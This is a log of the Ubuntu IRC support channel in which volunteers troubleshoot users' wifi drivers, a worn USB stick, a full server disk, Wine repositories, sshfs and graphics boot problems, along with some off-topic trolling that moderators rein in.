[11:44] <steven_> is it simple ubuntu?
[11:44] <CRogers> I've had that happen a few times. Sometimes a reboot is required.
[11:44] <CRogers> Not that it should be. :)
[11:45] <ubuntu743> I am using ubuntu 15.10. I'll reboot.
[11:46] <CRogers> you can also run it from the command line.
[11:46] <CRogers> But yea. :)
[11:46] <steven_> ubuntu743: 15.10 is really old, 17.04 is coming soon...
[11:48] <shomon> maybe a simpler way to ask is how do I debug why my computer won't connect to the wifi or recognise a wifi pen drive properly?
[11:48] <steven_> shomon: what is the brand of your wifi card?
[11:50] <tatertots> shomon: are you using the computer right now?
[11:50] <steven_> have you installed the proper drivers for it? also, for wifi usb you need usb modeswitch because your computer might think that you've plugged in a cd or media storage
[11:50] <shomon> hi, no I had to come over here to connect to the internet. it's broadcom..
[11:51] <tatertots> shomon: so you can't temporarily use a wired connection?
[11:51] <shomon> and it's a ubuntu box.. yes I could use a wired connection I have an old cable somewhere.. I'd have to move lots of things though..
[11:52] <shomon> maybe I could tether it..
[11:52] <tatertots> shomon: hmmmm ok well...
[11:52] <steven_> if you can connect to the internet any way, then sudo apt-get install bcmwl-kernel-source might solve your problem(don't forget to reboot)
[11:52] <shomon> cool! thanks
[11:52] <tatertots> lol
[11:52] <shomon> well I can just download the right .deb and install direct?
[11:53] <steven_> sudo dpkg -i mydeb.deb
[11:53] <shomon> that sounds easier.. thanks
[11:53] <tatertots> shomon: it would behoove you to temporarily use a wired connections and return here, failure to do so will only net you much speculation
[11:57]  * tsglove will use behoove at least three times today.
[12:00] <ubuntu743> CRogers: I opened gparted after plugging in usb but this is what it shows: http://tinypic.com/r/33xk4zd/9
[12:00] <ubuntu743> its not detecting usb i think
[12:01] <CRogers> ubuntulog2: at the top right, there's a dropdown that says /dev/sda
[12:01] <CRogers> click it for more options
[12:01] <ubuntu743> ok
[12:01] <mezzer> Thank you
[12:01] <mezzer> one admin.
[12:01] <CRogers> (this is why I said be careful, the gparted gui is in dyre need of an update)
[12:02] <ubuntu743> i understand now
[12:02] <CRogers> Hehehe
[12:02] <mezzer> all systems require user input.
[12:02] <mezzer> fact.
[12:03] <ubuntu743> it shows only one drive thats selected. Theres no other drive there
[12:04] <CRogers> mezzer: https://vimeo.com/91961212
[12:05] <CRogers> ubuntu743: Maybe try inserting it in another usb port.
[12:05] <CRogers> then re-run gparted.
[12:05] <mezzer> dead link CRogers
[12:05] <ubuntu743> tried. Still nothing
[12:06] <mezzer> linus and roo core systems were good before.
[12:06] <mezzer> now they're 'overhead'.
[12:07] <mezzer> device systems are now overhead.
[12:07] <mezzer> too.
[12:07] <CRogers> mezzer: hmm... try this one: https://www.youtube.com/watch?v=yw002vpbClA
[12:08] <CRogers> the previous link was siri vs cortana vs google now.
[12:08] <mezzer> what's there; coltrainonacid?
[12:08] <CRogers> no user input, just computers talking to eachother. ;)
[12:08] <mezzer> fail on systems.
[12:08] <mezzer> pc's work fine.
[12:09] <mezzer> if linux systems were better; they wouldn't be #2.
[12:09] <CRogers> ubuntulog2: Not sure. That's the extent of what I'm usually willing to try to save a usb drive. :/
[12:09] <CRogers> er
[12:09] <CRogers> ubuntu743: Not sure. That's the extent of what I'm usually willing to try to save a usb drive. :/
[12:10] <mezzer> << pc system; telling an irc network.
[12:10] <mezzer> unbuntu installed; no driver support
[12:10] <ppf> #2 on what scale
[12:11] <mezzer> I have an idea
[12:11] <mezzer> no one will like it
[12:11]  * CRogers already figured that. :)
[12:11] <JP____> I wanna run a dos program in ubuntu
[12:11] <JP____> Help?
[12:11] <hateball> !info dosbox
[12:11] <CRogers> JP____: dosbox
[12:11] <mezzer> I do have an idea
[12:11] <mezzer> no one will like it
[12:12]  * CRogers certainly won't
[12:12] <mezzer> Delete the entire C code library.
[12:12]  * CRogers yups. :)
[12:13] <mezzer> CRogers; you're guessing
[12:13] <mezzer> remove the entire library; including linux.
[12:14]  * CRogers guessed correctly.
[12:14] <mezzer> you wih
[12:14] <mezzer> who writes instruction sets in 2017?
[12:14] <mezzer> intel?
[12:15] <mezzer> amd?
[12:15] <mezzer> samsung?
[12:15] <mezzer> who else?
[12:15] <mezzer> remove them.
[12:15] <CRogers> nVidia
[12:15] <mezzer> remove them.
[12:15] <mezzer> we have trump
[12:15] <mezzer> he's a chump
[12:15] <CRogers> Yes, we hate assembly. We hate it like we hate our feet.
[12:15] <mezzer> he'll do whatever we want
[12:16] <mezzer> let's replace it
[12:16] <mezzer> we hate our feet yes
[12:16]  * CRogers curses @ feet
[12:16] <mezzer> allen watts thinking
[12:16] <mezzer> there is no wave
[12:16] <CRogers> The head is the only important thing. Let's just cut it off and strap it to a rocket pack.
[12:17] <mezzer> who said binary was right?
[12:17]  * CRogers only computes in qubits
[12:17] <CRogers> #qubitsmasterrace
[12:18] <mezzer> sound devices; aren't your futre CRogers
[12:18] <mezzer> or are they?
[12:18] <mezzer> are you guessing?
[12:18] <mezzer> sound?
[12:19] <CRogers> mezzer: reinvent the semiconductor
[12:19] <mezzer> wiggle?
[12:19] <mezzer> loud wiggle?
[12:19] <CRogers> I'm all on board with that.
[12:19] <mezzer> bigger wiggle?
[12:19]  * CRogers wigglewiggles
[12:19] <k1l_> CRogers: mezzer please keep this channel clear for ubuntu support. thanks
[12:19] <mezzer> would you be willing to kill a mother for those sound device CRogers?
[12:20] <CRogers> mezzer: pm me.
[12:20] <mezzer> never.
[12:20] <mezzer> the future isn't ubuntu
[12:20] <CRogers> let's respect other people who don't want to see our ridiculous conversation. ;)
[12:20] <JP____> Crogers: can i also access my files/folders on my pc through dosbox?
[12:20] <mezzer> it's not linux and it's not x86 systems
[12:20] <mezzer> I respect the future.
[12:21] <mezzer> I will never be like you
[12:21] <CRogers> JP____: yes.
[12:21] <mezzer> ^^ that's what I hope my children scream at me.
[12:22] <CRogers> mezzer: I'm not listening anymore, sorry. :)
[12:22] <JP____> Crogers: got a link to documentation?
[12:22] <JP____> Or a quick how to
[12:22] <mezzer> who develops the hardware maps in the usa?  China?
[12:22] <JP____> And then mezzer got banned
[12:22] <mezzer> mean
[12:22] <CRogers> JP____: https://www.dosbox.com/wiki/
[12:23] <CRogers> There's a lot of links there, and it was updated 2016
[12:23] <CRogers> Probably your best bet.
[12:23] <mezzer> banned for thinking
[12:23] <mezzer> what happens if we openly think here?
[12:23] <CRogers> But it's dead simple to use. Maybe look on youtube if you want a tutorial.
[12:23] <k1l_> !guidelines | mezzer
[12:23] <k1l_> mezzer: please stop that offtopic chatter in here.
[12:24] <mezzer> -0.o.
[12:24] <mezzer> don't tell me how to evolve
[12:24] <mezzer> how dare you interrupt my future of what I used in the past
[12:25] <mezzer> the rules you're placing on me now are the same rules others placed on you in the past
[12:25] <mezzer> what's wrong with you?
[12:25] <CRogers> mezzer: no one is listening.
[12:25] <CRogers> it would benefit you to go elsewhere.
[12:25] <mezzer> unbuntu isn't an open source system?
[12:26] <mezzer> you promote open systems yet block open dialog
[12:26] <EriC^^> open dialog goes in #ubuntu-offtopic
[12:26] <mezzer> it's irc
[12:26] <EriC^^> irc freenode
[12:26] <EriC^^> *it's
[12:27] <mezzer> powa to the code
[12:27] <EriC^^> you're in the wrong place my friend
[12:27] <EriC^^> wake up smell the coffee, stop trolling
[12:28] <tsglove> dos box... going to download that and play with it.
[12:28] <CRogers> tsglove: It's really nice.
[12:28] <mezzer> Maybe I shouldn't buy Ubuntu systems?
[12:28] <CRogers> I still use it to show off my first programs. ^.^
[12:28] <ij> Can I send emails using thunderbird's settings the command line?
[12:29] <tsglove> CRogers, yes.  I remember my second computer.... DOS up and down.    Good thing we have this port.
[12:29] <mezzer> 20 years ago there were people like me screaming.
[12:29] <hggdh> mezzer: pleae stop with the off-topic chat
[12:29] <mezzer> and today;  you have a problem with it?
[12:30] <CRogers> mezzer: Yes, you're being oppressed. Best to go elsewhere. More friendly places.
[12:30] <alkisg> ubuntu743: if you run `dmesg`, do you see read/write errors for your stick?
[12:30] <CRogers> tsglove: noddles
[12:30]  * CRogers noddles
[12:31] <CRogers> ?me woots
[12:31]  * CRogers woots
[12:33] <Netek2> hi all, I currently use virtualbox on my home computer and I would like to setup a dedicated server with virtualbox that has no gui, is this possible?  Or are there any other opensource virtualization people could recommend?  This is a personal project that I will not be looking to sell services on so preferably I would want a free software
[12:35] <EriC^^> Netek2: yes it's possible
[12:35] <EriC^^> and virtualbox is fitting
[12:35] <Netek2> EriC^^ ok great, I will see how to install it and work it via terminal :)  thank you
[12:36] <EriC^^> Netek2: no problem
[12:48] <noc_> Netek2, popular alternatives are virt-manager or gnome-boxes as wrappers for qemu, they are more configurable but less user-friendly somehow
[12:49] <Netek2> noc_ ok, I will read them up also, I heard of gnome-boxes but would this not be for a gui machine?  I have a dedicated server to run my project on
[12:51] <noc_> ah, I missed the headless part, sorry. Then look into qemu-kvm or the front-end virsh
[12:59] <JC_Yang> which repository is recommended to get latest stable wine builds?
[12:59] <druggie> hello, i'm looking for a warehouse management programme available in the offical repository
[13:00] <druggie> JC_Yang: is that hard to find? what a lame
[13:00] <cfhowlett> open the software center and search there druggie
[13:00] <k1l_> JC_Yang: https://wiki.winehq.org/Ubuntu  but you are on wines support then
[13:00] <ginnyb> hi guys, i am in trouble, my computer tells me, there is no disk space is left, but i can't seem to figure out where all the disk space has gone. How can I find out? I use Ubuntu 16.04 LTS on my local server
[13:00] <cfhowlett> and no insults needed
[13:00] <cfhowlett> ginnyb, run df -H in a terminal.  look for 11%
[13:01] <cfhowlett> 100%
[13:01] <druggie> cfhowlett: i'm looking for a warehouse management programme available in the offical repository i did apt-cache search
[13:02] <cfhowlett> druggie, so what program name did you apt-cache search for?
[13:02] <druggie> cfhowlett: warehouse/storehouse management
[13:02] <cfhowlett> nope
[13:02] <ginnyb> cfhowlett: thanks - this is what it shows Dateisystem    Größe Benutzt Verf. Verw% Eingehängt auf udev            8,4G       0  8,4G    0% /dev tmpfs           1,7G    9,6M  1,7G    1% /run /dev/sda2       475G    452G     0  100% / tmpfs           8,4G       0  8,4G    0% /dev/shm tmpfs           5,3M       0  5,3M    0% /run/lock tmpfs           8,4G       0  8,4G    0% /sys/fs/cgroup /dev/sda1       536M    3,8M  533M    1% /boo
[13:03] <cfhowlett> druggie, not how apt-cache search works.  try using the gui software center
[13:03] <k1l_> ginnyb: please put that on paste.ubuntu.com and show the url here
[13:03] <druggie> VA6DAH: WHAT?!
[13:03] <druggie> cfhowlett: i don't use it
[13:03] <cfhowlett> ginnyb, yep.  probably your boot partition is full
[13:03] <druggie> cfhowlett: you don't even know what you're saying
[13:03] <cfhowlett> right.  ok then.  ask someone else
[13:04] <newbie_> Which command line in crontab to execute task "x" every time the machine starts?
[13:04] <ginnyb> k1l: http://paste.ubuntu.com/23863094/
[13:04] <k1l_> ginnyb: is this a desktop?
[13:05] <druggie> cfhowlett: i thought you are not a lame
[13:05] <cfhowlett> i'm not but I am now adding you to /ignore.  bbye
[13:05] <JC_Yang> https://launchpad.net/~ubuntu-wine/+archive/ubuntu/ppa?field.series_filter=xenial   this is yet another repository, which is different to the one mentioned in wine official site, which one to trust? I only need stable builds, the latest 2.0 is not available yet
[13:06] <ginnyb> k1l: no, server
[13:06] <cfhowlett> JC_Yang, then use the one in the repo, not a ppa
[13:06] <timini> hey i cerated a service file in /etc/systemd/user/docker-clean.service
[13:06] <k1l_> ginnyb: ok, look at "ls -al /var/log" and see if some logfile went mad.
[13:06] <timini> but when i run sudo systemctl enable docker-clean
[13:07] <timini> i get file not found error
[13:08] <JC_Yang> cfhowlett, which one?   the one I posted and the one mentioned in wine-official site are both ppa
[13:08] <k1l_> ginnyb: "ncdu" is a nice toll  to browse through the folders and see what uses the diskspace. but you need some space to isntall it first
[13:08] <cfhowlett> JC_Yang, ppa are not supported so you are on your own.  sudo apt install wine will get the one in the ubuntu repository
[13:08] <noc_> ginnyb, "disk usage analyzer"/baobab
[13:08] <k1l_> noc_: that is not a desktop
[13:09] <JC_Yang> oh, that's too old
[13:09] <noc_> shows the % disk usage for each direcftory, and subdirectory, etc.
[13:09] <ginnyb> k1l: http://paste.ubuntu.com/23863110/
[13:09] <k1l_> JC_Yang: its the one mentioned in the wine wiki
[13:09] <noc_> k1l_, what?
[13:09] <cfhowlett> JC_Yang, I only see one ppa from the wine team for 14.04 ...
[13:09] <ginnyb> noc: thanks
[13:11] <k1l_> noc_: baobab is for gui usage. but he is on a server
[13:11] <JC_Yang> are there stable/release builds in this repo?  ppa:wine/wine-builds, the one in wine wiki
[13:11] <noc_> ah, missed that
[13:12] <k1l_> JC_Yang: did you read the wiki page i linked or did you just look for commands there?
[13:12] <cfhowlett> JC_Yang, "stable" = in the repo.  "unstable/untrusted are NOT in the repo but *might* be acceptable ppa.  your choice.
[13:13] <k1l_> JC_Yang: the wine team only makes staging or devel builds. so i dont understand why you demand "official stable builds" from ubuntu now?
[13:13] <cfhowlett> ginnyb, try sudo apt clean && sudo apt-get autoremove
[13:14] <JC_Yang> oh, sorry, I didn't read it carefully.  I don't request stable builds from ubuntu, I just want to find it for ubuntu
[13:14] <ginnyb> cfhowlett: will do
[13:16] <JC_Yang> for and from are completely different terms, I guess~   sorry that I haven't read the page carefully, now I know I have to go with ppa, or build it on my own
[13:18] <ginnyb> cfhowlett: apt-get autoremove lead to 593 MB more space but still not enough
[13:19] <cfhowlett> I see no reason your system should suddenly jump to 100% - sorry but over my head.
[13:19] <k1l_> JC_Yang: that is what lead to our confusion to what you actually want :) no problem.  ubuntu doesnt upgrade the version after the ubuntu release. so use the wine PPA
[13:20] <k1l_> ginnyb: install "ncdu". then use that to look at where the space is used
[13:20] <ginnyb> cfhowlett: thank you anyway
[13:21] <nils__> hey
[13:23] <ubuntu743> alkisg: I ran "lsusb" and got this: http://tinypic.com/r/11bu5xu/9
[13:24] <ubuntu743> Then I ran "dmesg" and got this: http://tinypic.com/r/8z1kc5/9
[13:27] <lucas-arg> hello ubuntuu, any one can help me with my laptop nvidia tearing problem???
[13:29] <asdova> i play pokemon go every day
[13:29] <asdova> wussup
[13:30] <BluesKaj> that's unfortuntate, maybe you need another more constructive hobby :-)
[13:35] <ubuntu743> alkisg: more errors: http://tinypic.com/r/2hdbfv6/9
[13:41] <dTal> On Ubuntu 12.04, trying to prevent update-manager popups whenever I use apt-get on the command line
[13:43] <dTal> went to uninstall update-manager (I never use it anyway) and apt wanted to upgrade update-manager-core and update-notifier-common? despite removing update-manager and update-notifier?
[13:43] <alkisg> ubuntu743: this means that your usb stick is worn out and you need to throw it away, don't bother formatting it
[13:44] <alkisg> dTal: just remove the update notifier task from /etc/xdg/autostart
[13:44] <dTal> I've never had apt want to upgrade something just because I asked it to uninstall something (barring breakage, but that doesn't seem like what's happening here)
[13:46] <ginnyb> k1l: i cant install ncdu
[13:46] <alkisg> ginnyb: run this: sudo dh -su /*
[13:46] <alkisg> ginnyb: this will tell you which top dir wastes the dir space
[13:47] <alkisg> Then you can continue with the subdirs
[13:47] <alkisg> ginnyb: sorry, sudo du -sh /*
[13:49] <geirha> don't forget -x
[13:49] <k1l_> ginnyb: why cant you install it?
[13:50] <geirha> sudo du -haxd1 / | sort -h
[13:50]  * alkisg suspects some software bug filling up the disk, and any space freed, immediately...
[13:50] <ginnyb> alkisg: k1l: http://paste.ubuntu.com/23863273/
[13:51] <ginnyb> k1l: i cant translate it
[13:51] <k1l_> ginnyb: so is some process still using apt/dpkg/the package system?
[13:51] <ginnyb> alkisg: sudo du -sh /* doesnt work
[13:52] <alkisg> ginnyb: doesn't work means nothing, please paste exact error messages
[13:52] <ginnyb> k1l: i am a total rookie. to be honest, i dont know. how can i see it?
[13:52] <geirha> ginnyb: does  ps -ef | grep apt   list any processes?
[13:52] <alkisg> when you ran it, what was the output?
[13:53] <alkisg> It will need minutes to finish
[13:53] <ginnyb> alkisg: it says in german: invalid option -u
[13:53] <ginnyb> alkisg: http://paste.ubuntu.com/23863273/
[13:53] <ginnyb> alkisg: christian@zen:~$ sudo du -su /* du: Ungültige Option -- u
[13:53] <alkisg> ginnyb: it's du -sh
[13:54] <alkisg> not du -su
[13:54] <geirha> ginnyb: this one's better  sudo du -haxd1 / | sort -h
[13:56] <ginnyb> alkisg: http://paste.ubuntu.com/23863293/
[13:56] <alkisg> ginnyb: and the output of `df -h` ?
[13:57] <JrrRowe> Would anyone be willing to help me with my Ubuntu bootloader install?
[13:57] <alkisg> !ask
[13:58] <k1l_> hmm, /var is not included in that du paste
[13:58] <alkisg> ginnyb, k1l_, neither /var nor /sys nor /srv... many things missing
[13:58] <alkisg> ginnyb: you didn't paste all the output
[13:59] <Netek2> has anybody here used extra IPs with OVH servers?  I have 2 IP address, the main IP and the failover IP.  I have attempted to use the OVH guide.  It seems like the network eth0:0 is loading via ifconfig but I cannot get any ping responds.
[13:59] <ginnyb> alkisg: after those lines the cursor was just blinking, nothing changed
[14:00] <k1l_> ginnyb: wait then. its calculating the disk space
[14:00] <JrrRowe> I've installed 32bit Wily Werewolf on my mid-2007 MacBook using a live USB. The installation goes well until it tries to install the bootloader. The installer tells me that the bootloader cannot be installed on any disk or partition. I've tried manually installing grub-ia32, but that doesn't seem to work, and boot-repair is telling me to use 64bit or gtfo. Any ideas?
[14:00] <alkisg> ginnyb: you need to wait more, that's where the gb are
[14:00] <alkisg> ginnyb: run it again
[14:01] <JrrRowe> I chose "install without bootloader," and now I'm in a Live USB session.
[14:01] <Southern_Gentlem> JrrRowe, use the 64bit because of efi
[14:01] <JrrRowe> So Ubuntu is installed, but I have no way of booting to it.
[14:01] <k1l_> and dont install already outdated ubuntus
[14:01] <tatertots> Netek2: what are you pinging?
[14:02] <k1l_> JrrRowe: so start again with 64bit 16.04
[14:02] <JrrRowe> My MacBook has a 64bit Intel Core 2 Duo, but the EFI is 32
[14:02] <Netek2> tatertots I am pinging the new IP address..  the main IP is responding, but I am not getting any response from second ip
[14:02] <tatertots> Netek2: what are you pinging?, that's kinda relevant don't you think?...is routing setup properly
[14:03] <Netek2> tatertots relevant for?  Sorry I didnt understand what you mean
[14:03] <JrrRowe> I don't think my mid-2007 MacBook supports 32bit EFI
[14:03] <jaakkos> in case anyone else is fighting with missing default route when bonding and VLANs are used, check my last post here for a workaround https://bugs.launchpad.net/ubuntu/+source/ifupdown/+bug/1573272
[14:03] <craigbass76> I need ot ge ta box up and going from a livecd. What's the recommended method of what used to be changing /etc/resolv.conf to get dns working?
[14:05] <tatertots> Netek2: open terminal
[14:06] <craigbass76> right. I'm there, and have already set up eth0 and ran the route add default gw command
[14:09] <fulcan> how do you disable DNSMasq?
[14:10] <tatertots> Netek2: nevermind, i'll assume you figured it out
[14:10] <Netek2> tatertots I followed this guide - https://binaryimpulse.com/2014/08/ovh-ip-failover-vm-configuration/
[14:10] <Netek2> tatertots I just noticed your message sorry was reading online, terminal is open
[14:14] <tatertots> Netek2:  nmcli dev|nc termbin.com 9999
[14:14] <tatertots> Netek2: share url/link here
[14:15] <Netek2> 1 minute please
[14:16] <Netek2> I get network not started..  how can it not be started if I am accessing it with IP address?
[14:17] <alkisg> You're probably not using network manager :)
[14:17] <tatertots> Netek2: you may not be using NM
[14:17] <ikevin> nm :(
[14:18] <Netek2> tatertots I think I messed up the installation, I will reinstall it again brb
[14:18] <tatertots> Netek2: ok
[14:21] <JohnDoe2> Hi! Does anyone have a better way of debugging why sshfs drops the connection? It's a local network, so I doubt it's a connection drop. Also, -o reconnect is there, so that should handle it. I ran it with -o sshfs_debug but none of the messages are errors or give any insight as to what may make it drop the mount.
[14:21] <JohnDoe2> my command is sshfs -d -C -o reconnect -o allow_other -o workaround=all -o sshfs_debug -o uid=1000 -o gid=1000 macpro@10.0.0.65:/Volumes/ARC_17-20 /mnt/afp
[14:23] <ppf> what are the errors?
[14:24] <jeffreylevesque> anyone know how to set xscreensaver to use a password?
[14:25] <JohnDoe2> ppf no errors, that's the thing.
[14:26] <ppf> what are the messages then?
[14:27] <JohnDoe2> a bunch of unique, LOOKUP, getattr on files being accessed. and then Unique/FORGET/DELETE, and it ends in a stats thing where it says how many messages it sent/received, rtt in ms, and the number of connections: 1.
[14:27] <JohnDoe2> Nothing says "can't do this/that", or "error doing this/that"... maybe I'm missing something
[14:29] <JohnDoe2> when the mount is dropped, running the sshfs command again says "bad mount point `/mnt/afp': Transport endpoint is not connected", until I umount as root it or it times out.
[14:31] <JohnDoe2> ppf http://paste.ubuntu.com/23863455/ that's the output. does anything jump at you?
[14:34] <ppf> JohnDoe2: no
[14:34] <ppf> sshfs also takes -d option for FUSE
[14:35] <JohnDoe2> sshfs -d -C -o reconnect ... --> do I need to pass -d another way?
[14:35] <ppf> and you can modify ssh's log level with -o LogLevel=Debug3
[14:36] <JohnDoe2> oh ok, that I didn't think of. thank you'
[14:40] <RedG3ar> Hi, it seems like ubuntus caching dns even though dnsmasq looks to be running with --cache-size=0
[14:41] <love3> Change dns?
[14:42] <love3> O oh nevermind
[14:42] <love3> Just use the hosts file
[14:47] <ginnyb> k1l; alkisg: i hope, you are still there. it took a while. http://paste.ubuntu.com/23863526/
[14:48] <ppf> ginnyb: what's the issue there?
[14:49] <ginnyb> ppf: server disk space is completely full
[14:49] <ppf> get rid of some stuff
[14:50] <ppf> why's there 389G in /root
[14:50] <alkisg> ginnyb: next, du -sh /root/*
[14:50] <alkisg> This will focus on subdirs of /root
[14:50] <alkisg> sudo du -sh /root/*
[14:50] <BetaSoul> Hey guys, looking for a fun new terminal emulator. Ideas?
[14:50]  * selfblowjob 
[14:51] <ppf> BetaSoul: why do you need a new terminal emulator
[14:51] <ginnyb> ppf: good question
[14:53] <ginnyb> alkisg: http://paste.ubuntu.com/23863545/
[14:53] <ppf> ginnyb: there's an extra space in there :p
[14:54] <alkisg> ginnyb: sudo du -sh /root/*, you put a space before the *
[14:55] <BetaSoul> @ppf: Looking for a change of pace.
[14:55] <ginnyb> alkisg: sorry
[14:55] <BetaSoul> Also trying to find a gtk theme with solorize colors.
[14:56] <shabado> does anyone know if there is a linux noob chat?
[14:57] <ginnyb> alkisg: without space it doesnt work: christian@zen:~$ sudo du -sh /root/* du: Zugriff auf '/root/*' nicht möglich: Datei oder Verzeichnis nicht gefunden
[14:57] <ginnyb> alkisg: it means: access not possible, file or directory not found
[14:58] <alkisg> ginnyb: try this: sudo -i <enter, and then:> du -sh /root/*
[14:59] <ginnyb> alkisg: something is happening...
[15:00] <ginnyb> alkisg: 389G	/root/luxwork
[15:01] <alkisg> ginnyb: ok, what is that?
[15:03] <hhee> guys. which GUI vim version do i need in ubuntu?
[15:03] <geirha> vim-gnome, probably
[15:03] <ginnyb> it is the software we use here in our office. i am working in a law firm. the software helps administrating our files and documents
[15:04] <alkisg> ginnyb: well, that's what takes up all the disk space
[15:04] <alkisg> ginnyb: you can continue with du -sh /root/luxwork/*, to see which subdir takes the space
[15:05] <alkisg> Also, it doesn't make sense to run programs as root...
[15:05] <shabado> that is the only thing that DOES make sense
[15:05] <alkisg> shabado: no, user data goes in/home, not in /root
[15:06] <alkisg> It's usually even a different partition
[15:06] <geirha> sudo du -haxd1 /root/luxwork | sort -h   will also list files
[15:06] <shabado> Im just kidding, I know 0 about linux/unix lol
[15:06] <shabado> trying to learn
[15:10] <SlickickGames> hi
[15:10] <adminroot_> hi
[15:10] <SlickickGames> How to install the intel g31 chpiset driver ?
[15:10] <adminroot_> speak french
[15:10] <SlickickGames> Ah d'accord
[15:10] <SlickickGames> J'avais pas compris
[15:11] <adminroot_> quelle qund peux maider valida ne rouve plus corectement
[15:11] <Pici> !fr
[15:11] <ChadTaljaardt> Hey
[15:11] <SlickickGames> C'est écrit en anglais partout donc je pensais qu'il fallait parler anglais
[15:12] <ChadTaljaardt> when i install Ubuntu 16.04 on my computer i get a black screen. When i install Ubuntu 16.10 the screen is there but my cursor pointer image wont move lol
[15:12] <adminroot_> sorry thanks
[15:12] <nicomachus> ChadTaljaardt: what's your graphics setup?
[15:13] <BRUHHHHH> Bruh guys
[15:13] <BRUHHHHH> Bonjour
[15:13] <hero_biz> hi guys.
[15:13] <mahpoul22> hello
[15:13] <hero_biz> guys, I have a strange problem.
[15:13] <nicomachus> !ask | hero_biz
[15:14] <hero_biz> I try to conenct to a ssh server. when I sniff packets with tcpdump, I see this:
[15:14] <hero_biz> http://paste.ubuntu.com/23863619/
[15:14] <hero_biz> my problem is that in TCP 3-way handshake, mss 1460 is agreed.
[15:14] <Southern_Gentlem> hero_biz, ssh -vvvv  what does that give you
[15:15] <hero_biz> then why tcp dump shows data bigger than  1460?
[15:15] <BRUUUUUUUUUUUUUH> BRUHHHHHH MTF GUYS
[15:15] <k1l_> ginnyb: yes, the luxwork program is using more than 300GB of hdd space. but having that software running as root and storing stuff in /root is not really the standard setup
[15:15] <BRUUUUUUUUUUUUUH> Windows is the best OS in the world
[15:15] <k1l_> BRUUUUUUUUUUUUUH: please keep this channel for technical ubuntu support
[15:15] <hero_biz> Southern_Gentlem: my problem is not ssh, it is an example. I wonder why data transmitted over tcp is bigger than mss.
[15:16] <BRUUUUUUUUUUUUUH> Windows is better then ubuntu
[15:16] <BRUUUUUUUUUUUUUH> ubuntu<all
[15:16] <Southern_Gentlem> hero_biz, packet overhead
[15:16] <hero_biz> Southern_Gentlem: overhead? what is that?
[15:16] <mahpoul22> anyone running ubuntu on a thinkpad here?
[15:17] <k1l_> mahpoul22: a lot users
[15:18] <ChadTaljaardt> nicomachus Im not sure what you mean
[15:19] <ChadTaljaardt> its a brand new install
[15:19] <ChadTaljaardt> sorry i dc'd for some reason
[15:19] <ppf> mahpoul22:
[15:19] <ppf> t460s
[15:20] <ChadTaljaardt> nicomachus i have a gtx 1070
[15:21] <JP____> chadtaljaardt: so you can't do anything from your pc?
[15:21] <tatertots> ChadTaljaardt: are you using the computer right now?
[15:22] <ChadTaljaardt> well it starts up, goes to the bios, and then lads the os and then it goes black, the cursor image is still there though JP____ tatertots
[15:22] <ChadTaljaardt> not rihgt now, im on my mac, but i can go to it in a second if you want?
[15:22] <JP____> Yeah, please do
[15:22] <tatertots> ChadTaljaardt: can you reach a virtual console when this occurs?
[15:22] <JP____> See if you can start up in recovery/cmdline mode
[15:22] <nicomachus> !nomodeset | ChadTaljaardt
[15:23] <nicomachus> ChadTaljaardt: you may try setting the "nomodeset" parameter in grub. common issue with Nvidia cards.
[15:23] <ChadTaljaardt> ill try it out, can you give me a few seconds :)
[15:23] <JP____> nicomachus with instant anwser :D
[15:23] <jimmyar> hey how do i see the package description?
[15:24] <ChadTaljaardt> ubottu the images on the link are broken
[15:25] <JP____> Hey they fixed ubottu
[15:25] <JP____> Nice
[15:25] <JP____> seems like he also sees the difference when someone is talking about him rather than to him
[15:25] <JP____> Props
[15:26] <vnai> I am having a weird problem where my laptop ethernet card doesn't power off when the system powers off. Card is realtek. System is AMD based
[15:27] <iob1> hi there
[15:27] <vnai> Problem showed up in xenial and also exists in yakkety. Anyone have a similar situation?
[15:27] <iob1> i want to upgrade libvirt-bin to 1.3.1 on Trusty
[15:28] <iob1> Can someone help?
[15:28] <nicomachus> !info libvirt-bin trusty
[15:28] <nicomachus> !info libvirt-bin xenial
[15:29] <nicomachus> iob1: looks like the easiest way is to upgrade your system to 16.04
[15:29] <vnai> backport from xenial to trusty won't be easy. It is better you move to xenial for the whole system
[15:29] <vnai> nicomachus^
[15:30] <nicomachus> vnai: yea.... I know. that's why I recommended the same thing.
[15:31] <vnai> libvirt is dependent on a lot of packages which you can't all backport
[15:31] <iob1> yea exactly. but i would rather avoid doing that
[15:31] <iob1> so there is not an `easy` way?!
[15:31] <vnai> libvirt is very interdependent. You might not have another option
[15:32] <kitkat_> What is libvirt?
[15:33] <vnai> libvirt in xenial needs apparmor greater than 2.8.96, trusty has 2.8.95
[15:34] <JP____> Sword: Lightning Edge
[15:34] <JP____> Armor: AppArmor lvl 3
[15:34] <JP____> :p
[15:34] <nicomachus> iob1: upgrade your system to Ubuntu 16.04 (xenial)
[15:34] <vnai> Then you need to backport apparmor. Apparmor will have other conditional dependencies. You will enter dependency hell. Avoid it and just upgrade to xenial.
[15:36] <ermajn> anyone expirienced unreal load on ubuntu 13.10, I have load 224 now
[15:36] <ermajn> on single core server
[15:40] <nicomachus> ermajn: I really hope you don't actually mean Ubuntu 13.10
[15:40] <ChadTaljaardt> nicomachus okay so i booted, press a key on the purple screen, entered language, pressed f6, set nomodeset and then press escape and then clicked try ubuntu to see if it worked and it never worked
[15:40] <ChadTaljaardt> i dont know if i was meant to install straight away or try it though
[15:41] <nicomachus> ChadTaljaardt: whoa, wait. You haven't even installed yet?
[15:41] <ChadTaljaardt> well i cant install it becuase its a black screen
[15:41] <ChadTaljaardt> i can install 16.10 though
[15:41] <ChadTaljaardt> but then i get the mouse cursor error
[15:41] <k1l_> ermajn: ubuntu 13.10? and is this a vserver? or bare metal?
[15:41] <ermajn> k1l_, vserver
[15:42] <jstarcher> Hi all, I've got a fresh 16.04.1 server install and I'm trying to enable the live kernel updates but I get this error
[15:42] <Menzador> !13.10 | ermajn
[15:42] <jstarcher> error: cannot perform the following tasks:
[15:42] <jstarcher> - Make snap "ubuntu-core" available to the system (no state entry for key)
[15:42] <jstarcher> - Mount snap "canonical-livepatch" (cannot find snap declaration for "canonical-livepatch": assertion not found)
[15:42] <ginnyb> k1l: problem is solved. i had a huge amount of temporary files which we erased.
[15:42] <jstarcher> any ideas?
[15:42] <ginnyb> k1l, alkisg: thanks so much for your help and your patience with me
[15:43] <k1l_> ermajn: ok, so that is where you wrong load comes from
[15:43] <brianhunter> General Question for the room: If you were going to start to investigate an issue where playing video (even gifs) causes your machine to completely lock up, where would you start to look?
[15:43] <k1l_> jstarcher: did you follow the how to properly?
[15:43] <alkisg> ginnyb: np
[15:44] <vnai> jstarcher: did you update your system? look at this bug https://bugs.launchpad.net/snappy/+bug/1580403 It was patched long ago
